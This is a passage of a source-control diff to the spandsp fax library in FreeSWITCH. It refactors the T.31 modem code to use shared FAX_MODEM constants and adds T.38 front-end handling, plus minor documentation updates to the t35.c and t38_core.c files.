-            new_modem = (new_transmit)  ?  T31_V21_TX  :  T31_V21_RX;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V21_TX  :  FAX_MODEM_V21_RX;
             s->short_train = FALSE;
             s->bit_rate = 300;
             break;
@@ -1452,7 +1935,8 @@
         if (new_transmit)
         {
             t31_set_at_rx_mode(s, AT_MODE_HDLC);
-            at_put_response_code(&s->at_state, AT_RESPONSE_CODE_CONNECT);
+            if (!s->t38_mode)
+                at_put_response_code(&s->at_state, AT_RESPONSE_CODE_CONNECT);
         }
         else
         {
@@ -1495,62 +1979,86 @@
         switch (val)
         {
         case 24:
-            new_modem = (new_transmit)  ?  T31_V27TER_TX  :  T31_V27TER_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V27TER_2400_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V27TER_2400;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V27TER_TX  :  FAX_MODEM_V27TER_RX;
             s->short_train = FALSE;
             s->bit_rate = 2400;
             break;
         case 48:
-            new_modem = (new_transmit)  ?  T31_V27TER_TX  :  T31_V27TER_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V27TER_4800_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V27TER_4800;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V27TER_TX  :  FAX_MODEM_V27TER_RX;
             s->short_train = FALSE;
             s->bit_rate = 4800;
             break;
         case 72:
-            new_modem = (new_transmit)  ?  T31_V29_TX  :  T31_V29_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V29_7200_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V29_7200;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V29_TX  :  FAX_MODEM_V29_RX;
             s->short_train = FALSE;
             s->bit_rate = 7200;
             break;
         case 96:
-            new_modem = (new_transmit)  ?  T31_V29_TX  :  T31_V29_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V29_9600_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V29_9600;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V29_TX  :  FAX_MODEM_V29_RX;
             s->short_train = FALSE;
             s->bit_rate = 9600;
             break;
         case 73:
-            new_modem = (new_transmit)  ?  T31_V17_TX  :  T31_V17_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V17_7200_LONG_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V17_7200;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V17_TX  :  FAX_MODEM_V17_RX;
             s->short_train = FALSE;
             s->bit_rate = 7200;
             break;
         case 74:
-            new_modem = (new_transmit)  ?  T31_V17_TX  :  T31_V17_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V17_7200_SHORT_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V17_7200;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V17_TX  :  FAX_MODEM_V17_RX;
             s->short_train = TRUE;
             s->bit_rate = 7200;
             break;
         case 97:
-            new_modem = (new_transmit)  ?  T31_V17_TX  :  T31_V17_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V17_9600_LONG_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V17_9600;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V17_TX  :  FAX_MODEM_V17_RX;
             s->short_train = FALSE;
             s->bit_rate = 9600;
             break;
         case 98:
-            new_modem = (new_transmit)  ?  T31_V17_TX  :  T31_V17_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V17_9600_SHORT_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V17_9600;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V17_TX  :  FAX_MODEM_V17_RX;
             s->short_train = TRUE;
             s->bit_rate = 9600;
             break;
         case 121:
-            new_modem = (new_transmit)  ?  T31_V17_TX  :  T31_V17_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V17_12000_LONG_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V17_12000;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V17_TX  :  FAX_MODEM_V17_RX;
             s->short_train = FALSE;
             s->bit_rate = 12000;
             break;
         case 122:
-            new_modem = (new_transmit)  ?  T31_V17_TX  :  T31_V17_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V17_12000_SHORT_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V17_12000;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V17_TX  :  FAX_MODEM_V17_RX;
             s->short_train = TRUE;
             s->bit_rate = 12000;
             break;
         case 145:
-            new_modem = (new_transmit)  ?  T31_V17_TX  :  T31_V17_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V17_14400_LONG_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V17_14400;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V17_TX  :  FAX_MODEM_V17_RX;
             s->short_train = FALSE;
             s->bit_rate = 14400;
             break;
         case 146:
-            new_modem = (new_transmit)  ?  T31_V17_TX  :  T31_V17_RX;
+            s->t38_fe.next_tx_indicator = T38_IND_V17_14400_SHORT_TRAINING;
+            s->t38_fe.current_tx_data_type = T38_DATA_V17_14400;
+            new_modem = (new_transmit)  ?  FAX_MODEM_V17_TX  :  FAX_MODEM_V17_RX;
             s->short_train = TRUE;
             s->bit_rate = 14400;
             break;
@@ -1575,14 +2083,14 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t31_call_event(t31_state_t *s, int event)
+SPAN_DECLARE(void) t31_call_event(t31_state_t *s, int event)
 {
     span_log(&s->logging, SPAN_LOG_FLOW, "Call event %d received\n", event);
     at_call_event(&s->at_state, event);
 }
 /*- End of function --------------------------------------------------------*/
 
-int t31_at_rx(t31_state_t *s, const char *t, int len)
+SPAN_DECLARE(int) t31_at_rx(t31_state_t *s, const char *t, int len)
 {
     if (s->dte_data_timeout)
         s->dte_data_timeout = s->call_samples + ms_to_samples(5000);
@@ -1604,8 +2112,8 @@
             }
             s->at_state.rx_data_bytes = 0;
             s->at_state.transmit = FALSE;
-            s->modem = T31_SILENCE_TX;
-            s->audio.modems.rx_handler = span_dummy_rx;
+            s->modem = FAX_MODEM_SILENCE_TX;
+            set_rx_handler(s, (span_rx_handler_t *) &span_dummy_rx, NULL);
             t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
             at_put_response_code(&s->at_state, AT_RESPONSE_CODE_OK);
         }
@@ -1628,6 +2136,27 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static void set_rx_handler(t31_state_t *s, span_rx_handler_t *handler, void *user_data)
+{
+    s->audio.modems.rx_handler = handler;
+    s->audio.modems.rx_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void set_tx_handler(t31_state_t *s, span_tx_handler_t *handler, void *user_data)
+{
+    s->audio.modems.tx_handler = handler;
+    s->audio.modems.tx_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void set_next_tx_handler(t31_state_t *s, span_tx_handler_t *handler, void *user_data)
+{
+    s->audio.modems.next_tx_handler = handler;
+    s->audio.modems.next_tx_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int silence_rx(void *user_data, const int16_t amp[], int len)
 {
     t31_state_t *s;
@@ -1654,7 +2183,7 @@
     {
         /* After calling, S7 has elapsed... no carrier found. */
         at_put_response_code(&s->at_state, AT_RESPONSE_CODE_NO_CARRIER);
-        restart_modem(s, T31_SILENCE_TX);
+        restart_modem(s, FAX_MODEM_SILENCE_TX);
         at_modem_control(&s->at_state, AT_MODEM_CONTROL_HANGUP, NULL);
         t31_set_at_rx_mode(s, AT_MODE_ONHOOK_COMMAND);
     }
@@ -1679,8 +2208,7 @@
         /* The fast modem has trained, so we no longer need to run the slow
            one in parallel. */
         span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.17 + V.21 to V.17 (%.2fdBm0)\n", v17_rx_signal_power(&s->v17_rx));
-        s->rx_handler = (span_rx_handler_t *) &v17_rx;
-        s->rx_user_data = &s->v17_rx;
+        set_rx_handler(t, (span_rx_handler_t *) &v17_rx, &s->v17_rx);
     }
     else
     {
@@ -1690,8 +2218,7 @@
             /* We have received something, and the fast modem has not trained. We must
                be receiving valid V.21 */
             span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.17 + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
-            s->rx_handler = (span_rx_handler_t *) &fsk_rx;
-            s->rx_user_data = &s->v21_rx;
+            set_rx_handler(t, (span_rx_handler_t *) &fsk_rx, &s->v21_rx);
         }
     }
     return len;
@@ -1711,8 +2238,7 @@
         /* The fast modem has trained, so we no longer need to run the slow
            one in parallel. */
         span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.27ter + V.21 to V.27ter (%.2fdBm0)\n", v27ter_rx_signal_power(&s->v27ter_rx));
-        s->rx_handler = (span_rx_handler_t *) &v27ter_rx;
-        s->rx_user_data = &s->v27ter_rx;
+        set_rx_handler(t, (span_rx_handler_t *) &v27ter_rx, &s->v27ter_rx);
     }
     else
     {
@@ -1722,8 +2248,7 @@
             /* We have received something, and the fast modem has not trained. We must
                be receiving valid V.21 */
             span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.27ter + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
-            s->rx_handler = (span_rx_handler_t *) &fsk_rx;
-            s->rx_user_data = &s->v21_rx;
+            set_rx_handler(t, (span_rx_handler_t *) &fsk_rx, &s->v21_rx);
         }
     }
     return len;
@@ -1743,8 +2268,7 @@
         /* The fast modem has trained, so we no longer need to run the slow
            one in parallel. */
         span_log(&s->logging, SPAN_LOG_FLOW, "Switching from V.29 + V.21 to V.29 (%.2fdBm0)\n", v29_rx_signal_power(&s->v29_rx));
-        s->rx_handler = (span_rx_handler_t *) &v29_rx;
-        s->rx_user_data = &s->v29_rx;
+        set_rx_handler(t, (span_rx_handler_t *) &v29_rx, &s->v29_rx);
     }
     else
     {
@@ -1754,53 +2278,20 @@
             /* We have received something, and the fast modem has not trained. We must
                be receiving valid V.21 */
             span_log(&t->logging, SPAN_LOG_FLOW, "Switching from V.29 + V.21 to V.21 (%.2fdBm0)\n", fsk_rx_signal_power(&s->v21_rx));
-            s->rx_handler = (span_rx_handler_t *) &fsk_rx;
-            s->rx_user_data = &s->v21_rx;
+            set_rx_handler(t, (span_rx_handler_t *) &fsk_rx, &s->v21_rx);
         }
     }
     return len;
 }
 /*- End of function --------------------------------------------------------*/
 
-static void t31_fax_modems_init(fax_modems_state_t *s, int use_tep, void *user_data)
+SPAN_DECLARE(int) t31_rx(t31_state_t *s, int16_t amp[], int len)
 {
-    s->use_tep = use_tep;
-
-    hdlc_rx_init(&s->hdlc_rx, FALSE, TRUE, HDLC_FRAMING_OK_THRESHOLD, hdlc_accept, user_data);
-    hdlc_tx_init(&s->hdlc_tx, FALSE, 2, FALSE, hdlc_tx_underflow, user_data);
-    fsk_rx_init(&s->v21_rx, &preset_fsk_specs[FSK_V21CH2], TRUE, (put_bit_func_t) hdlc_rx_put_bit, &s->hdlc_rx);
-    fsk_rx_signal_cutoff(&s->v21_rx, -39.09);
-    fsk_tx_init(&s->v21_tx, &preset_fsk_specs[FSK_V21CH2], (get_bit_func_t) hdlc_tx_get_bit, &s->hdlc_tx);
-    v17_rx_init(&s->v17_rx, 14400, non_ecm_put_bit, user_data);
-    v17_tx_init(&s->v17_tx, 14400, s->use_tep, non_ecm_get_bit, user_data);
-    v29_rx_init(&s->v29_rx, 9600, non_ecm_put_bit, user_data);
-    v29_rx_signal_cutoff(&s->v29_rx, -45.5);
-    v29_tx_init(&s->v29_tx, 9600, s->use_tep, non_ecm_get_bit, user_data);
-    v27ter_rx_init(&s->v27ter_rx, 4800, non_ecm_put_bit, user_data);
-    v27ter_tx_init(&s->v27ter_tx, 4800, s->use_tep, non_ecm_get_bit, user_data);
-    silence_gen_init(&s->silence_gen, 0);
-    modem_connect_tones_tx_init(&s->connect_tx, MODEM_CONNECT_TONES_FAX_CNG);
-    modem_connect_tones_rx_init(&s->connect_rx,
-                                MODEM_CONNECT_TONES_FAX_CNG,
-                                tone_detected,
-                                user_data);
-    dc_restore_init(&s->dc_restore);
-
-    s->rx_signal_present = FALSE;
-    s->rx_handler = (span_rx_handler_t *) &span_dummy_rx;
-    s->rx_user_data = NULL;
-    s->tx_handler = (span_tx_handler_t *) &silence_gen;
-    s->tx_user_data = &s->silence_gen;
-}
-/*- End of function --------------------------------------------------------*/
-
-int t31_rx(t31_state_t *s, int16_t amp[], int len)
-{
     int i;
     int32_t power;
 
     /* Monitor for received silence.  Maximum needed detection is AT+FRS=255 (255*10ms). */
-    /* We could probably only run this loop if (s->modem == T31_SILENCE_RX), however,
+    /* We could probably only run this loop if (s->modem == FAX_MODEM_SILENCE_RX), however,
        the spec says "when silence has been present on the line for the amount of
        time specified".  That means some of the silence may have occurred before
        the AT+FRS=n command. This condition, however, is not likely to ever be the
@@ -1831,34 +2322,74 @@
     {
         t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
         at_put_response_code(&s->at_state, AT_RESPONSE_CODE_ERROR);
-        restart_modem(s, T31_SILENCE_TX);
+        restart_modem(s, FAX_MODEM_SILENCE_TX);
     }
 
-    if (!s->at_state.transmit  ||  s->modem == T31_CNG_TONE)
+    if (!s->at_state.transmit  ||  s->modem == FAX_MODEM_CNG_TONE)
         s->audio.modems.rx_handler(s->audio.modems.rx_user_data, amp, len);
-    return  0;
+    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
+SPAN_DECLARE(int) t31_rx_fillin(t31_state_t *s, int len)
+{
+    /* To mitigate the effect of lost packets on a packet network we should
+       try to sustain the status quo. If there is no receive modem running, keep
+       things that way. If there is a receive modem running, try to sustain its
+       operation, without causing a phase hop, or letting its adaptive functions
+       diverge. */
+    /* Time is determined by counting the samples in audio packets coming in. */
+    s->call_samples += len;
+
+    /* In HDLC transmit mode, if 5 seconds elapse without data from the DTE
+       we must treat this as an error. We return the result ERROR, and change
+       to command-mode. */
+    if (s->dte_data_timeout  &&  s->call_samples > s->dte_data_timeout)
+    {
+        t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
+        at_put_response_code(&s->at_state, AT_RESPONSE_CODE_ERROR);
+        restart_modem(s, FAX_MODEM_SILENCE_TX);
+    }
+    /* Call the fillin function of the current modem (if there is one). */
+    switch (s->modem)
+    {
+    case FAX_MODEM_V21_RX:
+        len = fsk_rx_fillin(&s->audio.modems.v21_rx, len);
+        break;
+    case FAX_MODEM_V27TER_RX:
+        /* TODO: what about FSK in the early stages */
+        len = v27ter_rx_fillin(&s->audio.modems.v27ter_rx, len);
+        break;
+    case FAX_MODEM_V29_RX:
+        /* TODO: what about FSK in the early stages */
+        len = v29_rx_fillin(&s->audio.modems.v29_rx, len);
+        break;
+    case FAX_MODEM_V17_RX:
+        /* TODO: what about FSK in the early stages */
+        len = v17_rx_fillin(&s->audio.modems.v17_rx, len);
+        break;
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int set_next_tx_type(t31_state_t *s)
 {
     if (s->audio.next_tx_handler)
     {
-        s->audio.modems.tx_handler = s->audio.next_tx_handler;
-        s->audio.modems.tx_user_data = s->audio.next_tx_user_data;
-        s->audio.next_tx_handler = NULL;
+        set_tx_handler(s, s->audio.next_tx_handler, s->audio.next_tx_user_data);
+        set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
         return 0;
     }
-    /* If there is nothing else to change to, so use zero length silence */
+    /* There is nothing else to change to, so use zero length silence */
     silence_gen_alter(&(s->audio.modems.silence_gen), 0);
-    s->audio.modems.tx_handler = (span_tx_handler_t *) &silence_gen;
-    s->audio.modems.tx_user_data = &(s->audio.modems.silence_gen);
-    s->audio.next_tx_handler = NULL;
+    set_tx_handler(s, (span_tx_handler_t *) &silence_gen, &s->audio.modems.silence_gen);
+    set_next_tx_handler(s, (span_tx_handler_t *) NULL, NULL);
     return -1;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t31_tx(t31_state_t *s, int16_t amp[], int max_len)
+SPAN_DECLARE(int) t31_tx(t31_state_t *s, int16_t amp[], int max_len)
 {
     int len;
 
@@ -1870,40 +2401,7 @@
             /* Allow for one change of tx handler within a block */
             set_next_tx_type(s);
             if ((len += s->audio.modems.tx_handler(s->audio.modems.tx_user_data, amp + len, max_len - len)) < max_len)
-            {
-                switch (s->modem)
-                {
-                case T31_SILENCE_TX:
-                    s->modem = T31_NONE;
-                    at_put_response_code(&s->at_state, AT_RESPONSE_CODE_OK);
-                    if (s->at_state.do_hangup)
-                    {
-                        at_modem_control(&s->at_state, AT_MODEM_CONTROL_HANGUP, NULL);
-                        t31_set_at_rx_mode(s, AT_MODE_ONHOOK_COMMAND);
-                        s->at_state.do_hangup = FALSE;
-                    }
-                    else
-                    {
-                        t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
-                    }
-                    break;
-                case T31_CED_TONE:
-                    /* Go directly to V.21/HDLC transmit. */
-                    s->modem = T31_NONE;
-                    restart_modem(s, T31_V21_TX);
-                    t31_set_at_rx_mode(s, AT_MODE_HDLC);
-                    break;
-                case T31_V21_TX:
-                case T31_V17_TX:
-                case T31_V27TER_TX:
-                case T31_V29_TX:
-                    s->modem = T31_NONE;
-                    at_put_response_code(&s->at_state, AT_RESPONSE_CODE_OK);
-                    t31_set_at_rx_mode(s, AT_MODE_OFFHOOK_COMMAND);
-                    restart_modem(s, T31_SILENCE_TX);
-                    break;
-                }
-            }
+                front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
         }
     }
     if (s->audio.modems.transmit_on_idle)
@@ -1916,45 +2414,115 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void t31_set_transmit_on_idle(t31_state_t *s, int transmit_on_idle)
+SPAN_DECLARE(void) t31_set_transmit_on_idle(t31_state_t *s, int transmit_on_idle)
 {
     s->audio.modems.transmit_on_idle = transmit_on_idle;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t31_set_tep_mode(t31_state_t *s, int use_tep)
+SPAN_DECLARE(void) t31_set_tep_mode(t31_state_t *s, int use_tep)
 {
     s->audio.modems.use_tep = use_tep;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t31_set_t38_config(t31_state_t *s, int without_pacing)
+SPAN_DECLARE(void) t31_set_t38_config(t31_state_t *s, int without_pacing)
 {
     if (without_pacing)
     {
         /* Continuous streaming mode, as used for TPKT over TCP transport */
-        s->t38_fe.t38.indicator_tx_count = 0;
-        s->t38_fe.t38.data_end_tx_count = 1;
+        /* Inhibit indicator packets */
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_INDICATOR, 0);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_CONTROL_DATA, 1);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_CONTROL_DATA_END, 1);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_IMAGE_DATA, 1);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_IMAGE_DATA_END, 1);
         s->t38_fe.ms_per_tx_chunk = 0;
     }
     else
     {
         /* Paced streaming mode, as used for UDP transports */
-        s->t38_fe.t38.indicator_tx_count = INDICATOR_TX_COUNT;
-        s->t38_fe.t38.data_end_tx_count = DATA_END_TX_COUNT;
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_INDICATOR, INDICATOR_TX_COUNT);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_CONTROL_DATA, DATA_TX_COUNT);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_CONTROL_DATA_END, DATA_END_TX_COUNT);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_IMAGE_DATA, DATA_TX_COUNT);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_IMAGE_DATA_END, DATA_END_TX_COUNT);
         s->t38_fe.ms_per_tx_chunk = MS_PER_TX_CHUNK;
     }
+    set_octets_per_data_packet(s, 300);
 }
 /*- End of function --------------------------------------------------------*/
 
-t31_state_t *t31_init(t31_state_t *s,
-                      at_tx_handler_t *at_tx_handler,
-                      void *at_tx_user_data,
-                      t31_modem_control_handler_t *modem_control_handler,
-                      void *modem_control_user_data,
-                      t38_tx_packet_handler_t *tx_t38_packet_handler,
-                      void *tx_t38_packet_user_data)
+SPAN_DECLARE(void) t31_set_mode(t31_state_t *s, int t38_mode)
 {
+    s->t38_mode = t38_mode;
+    span_log(&s->logging, SPAN_LOG_FLOW, "Mode set to %d\n", s->t38_mode);
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(logging_state_t *) t31_get_logging_state(t31_state_t *s)
+{
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(t38_core_state_t *) t31_get_t38_core_state(t31_state_t *s)
+{
+    return &s->t38_fe.t38;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int t31_t38_fe_init(t31_state_t *t,
+                           t38_tx_packet_handler_t *tx_packet_handler,
+                           void *tx_packet_user_data)
+{
+    t31_t38_front_end_state_t *s;
+    
+    s = &t->t38_fe;
+
+    t38_core_init(&s->t38,
+                  process_rx_indicator,
+                  process_rx_data,
+                  process_rx_missing,
+                  (void *) t,
+                  tx_packet_handler,
+                  tx_packet_user_data);
+    s->t38.fastest_image_data_rate = 14400;
+
+    s->timed_step = T38_TIMED_STEP_NONE;
+    //s->iaf = T30_IAF_MODE_T37 | T30_IAF_MODE_T38;
+    s->iaf = T30_IAF_MODE_T38;
+
+    s->current_tx_data_type = T38_DATA_NONE;
+    s->next_tx_samples = 0;
+    s->chunking_modes = T38_CHUNKING_ALLOW_TEP_TIME;
+
+    t->hdlc_tx.ptr = 0;
+
+    hdlc_tx_init(&s->hdlc_tx_term,
+                 FALSE,
+                 1,
+                 FALSE,
+                 NULL,
+                 NULL);
+    hdlc_rx_init(&s->hdlc_rx_term,
+                 FALSE,
+                 TRUE,
+                 2,
+                 NULL,
+                 NULL);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(t31_state_t *) t31_init(t31_state_t *s,
+                                     at_tx_handler_t *at_tx_handler,
+                                     void *at_tx_user_data,
+                                     t31_modem_control_handler_t *modem_control_handler,
+                                     void *modem_control_user_data,
+                                     t38_tx_packet_handler_t *tx_t38_packet_handler,
+                                     void *tx_t38_packet_user_data)
+{
     int alloced;
     
     if (at_tx_handler == NULL  ||  modem_control_handler == NULL)
@@ -1973,7 +2541,14 @@
 
     s->modem_control_handler = modem_control_handler;
     s->modem_control_user_data = modem_control_user_data;
-    t31_fax_modems_init(&s->audio.modems, FALSE, s);
+    fax_modems_init(&s->audio.modems,
+                    FALSE,
+                    hdlc_accept_frame,
+                    hdlc_tx_underflow,
+                    non_ecm_put_bit,
+                    non_ecm_get_bit,
+                    tone_detected,
+                    (void *) s);
     power_meter_init(&(s->audio.rx_power), 4);
     s->audio.last_sample = 0;
     s->audio.silence_threshold_power = power_meter_level_dbm0(-36);
@@ -1985,7 +2560,7 @@
     s->audio.silence_heard = 0;
     s->silence_awaited = 0;
     s->call_samples = 0;
-    s->modem = T31_NONE;
+    s->modem = FAX_MODEM_NONE;
     s->at_state.transmit = TRUE;
 
     if ((s->rx_queue = queue_init(NULL, 4096, QUEUE_WRITE_ATOMIC | QUEUE_READ_ATOMIC)) == NULL)
@@ -1999,13 +2574,9 @@
     s->at_state.dte_inactivity_timeout = DEFAULT_DTE_TIMEOUT;
     if (tx_t38_packet_handler)
     {
-        t38_core_init(&s->t38_fe.t38,
-                      process_rx_indicator,
-                      process_rx_data,
-                      process_rx_missing,
-                      (void *) s,
-                      tx_t38_packet_handler,
-                      tx_t38_packet_user_data);
+        t31_t38_fe_init(s,
+                        tx_t38_packet_handler,
+                        tx_t38_packet_user_data);
         t31_set_t38_config(s, FALSE);
     }
     s->t38_mode = FALSE;
@@ -2013,9 +2584,16 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t31_release(t31_state_t *s)
+SPAN_DECLARE(int) t31_release(t31_state_t *s)
 {
     at_reset_call_info(&s->at_state);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) t31_free(t31_state_t *s)
+{
+    t31_release(s);
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/t35.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t35.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t35.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t35.c,v 1.27 2008/05/13 13:17:23 steveu Exp $
+ * $Id: t35.c,v 1.31 2009/05/16 03:34:45 steveu Exp $
  */
 
 /*
@@ -57,7 +57,7 @@
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <inttypes.h>
@@ -68,19 +68,29 @@
 #include "spandsp/bit_operations.h"
 #include "spandsp/t35.h"
 
+/*! NSF pattern for FAX machine identification */
 typedef struct
 {
+    /*! The number of bytes of the NSF byte string to match */
     int model_id_size;
+    /*! The NSF byte string to expect */
     const char *model_id;
+    /*! The model name of the FAX terminal */
     const char *model_name;
 } model_data_t;
 
+/*! NSF pattern for identifying the manufacturer of a FAX machine */
 typedef struct
 {
+    /*! The vendor ID byte string */
     const char *vendor_id;
+    /*! The length of the vendor ID byte string */
     int vendor_id_len;
+    /*! The vendor's name */
     const char *vendor_name;
+    /*! TRUE if the station ID for this vendor is reversed */
     int inverse_station_id_order;
+    /*! A pointer to a list of known models from this vendor */
     const model_data_t *known_models;
 } nsf_data_t;
 
@@ -515,7 +525,7 @@
 static const nsf_data_t known_nsf[] =
 {
     /* Japan */
-    {"\x00\x00\x00", 3, "unknown - indeterminate", TRUE, NULL},
+    {"\x00\x00\x00", 3, "Unknown - indeterminate", TRUE, NULL},
     {"\x00\x00\x01", 3, "Anjitsu", FALSE, NULL},
     {"\x00\x00\x02", 3, "Nippon Telephone", FALSE, NULL},
     {"\x00\x00\x05", 3, "Mitsuba Electric", FALSE, NULL},
@@ -738,7 +748,7 @@
 };
 
 #if 0
-void nsf_find_station_id(int reverse_order)
+SPAN_DECLARE(void) nsf_find_station_id(int reverse_order)
 {
     const char *id = NULL;
     int idSize = 0;
@@ -798,7 +808,7 @@
 /*- End of function --------------------------------------------------------*/
 #endif
 
-int t35_decode(const uint8_t *msg, int len, const char **country, const char **vendor, const char **model)
+SPAN_DECLARE(int) t35_decode(const uint8_t *msg, int len, const char **country, const char **vendor, const char **model)
 {
     int vendor_decoded;
     const nsf_data_t *p;

Modified: freeswitch/branches/seven/libs/spandsp/src/t38_core.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t38_core.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t38_core.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_core.c,v 1.44 2008/07/02 14:48:26 steveu Exp $
+ * $Id: t38_core.c,v 1.53 2009/07/14 13:54:22 steveu Exp $
  */
 
 /*! \file */
@@ -37,13 +37,13 @@
 #include <fcntl.h>
 #include <time.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <assert.h>
 #include <memory.h>
 #include <tiffio.h>
@@ -53,10 +53,47 @@
 #include "spandsp/bit_operations.h"
 #include "spandsp/t38_core.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/t38_core.h"
+
 #define ACCEPTABLE_SEQ_NO_OFFSET    2000
 
-const char *t38_indicator_to_str(int indicator)
+/* The times for training, the optional TEP, and the HDLC preamble, for all the modem options, in ms.
+   Note that the preamble for V.21 is 1s+-15%, and for the other modems is 200ms+100ms. */
+static const struct
 {
+    int tep;
+    int training;
+    int flags;
+} modem_startup_time[] =
+{
+    {      0,   75000,       0},    /* T38_IND_NO_SIGNAL */
+    {      0,       0,       0},    /* T38_IND_CNG */
+    {      0, 3000000,       0},    /* T38_IND_CED */
+    {      0,       0, 1000000},    /* T38_IND_V21_PREAMBLE */ /* TODO: 850ms should be OK for this, but it causes trouble with some ATAs. Why? */
+    { 215000,  943000,  200000},    /* T38_IND_V27TER_2400_TRAINING */
+    { 215000,  708000,  200000},    /* T38_IND_V27TER_4800_TRAINING */
+    { 215000,  234000,  200000},    /* T38_IND_V29_7200_TRAINING */
+    { 215000,  234000,  200000},    /* T38_IND_V29_9600_TRAINING */
+    { 215000,  142000,  200000},    /* T38_IND_V17_7200_SHORT_TRAINING */
+    { 215000, 1393000,  200000},    /* T38_IND_V17_7200_LONG_TRAINING */
+    { 215000,  142000,  200000},    /* T38_IND_V17_9600_SHORT_TRAINING */
+    { 215000, 1393000,  200000},    /* T38_IND_V17_9600_LONG_TRAINING */
+    { 215000,  142000,  200000},    /* T38_IND_V17_12000_SHORT_TRAINING */
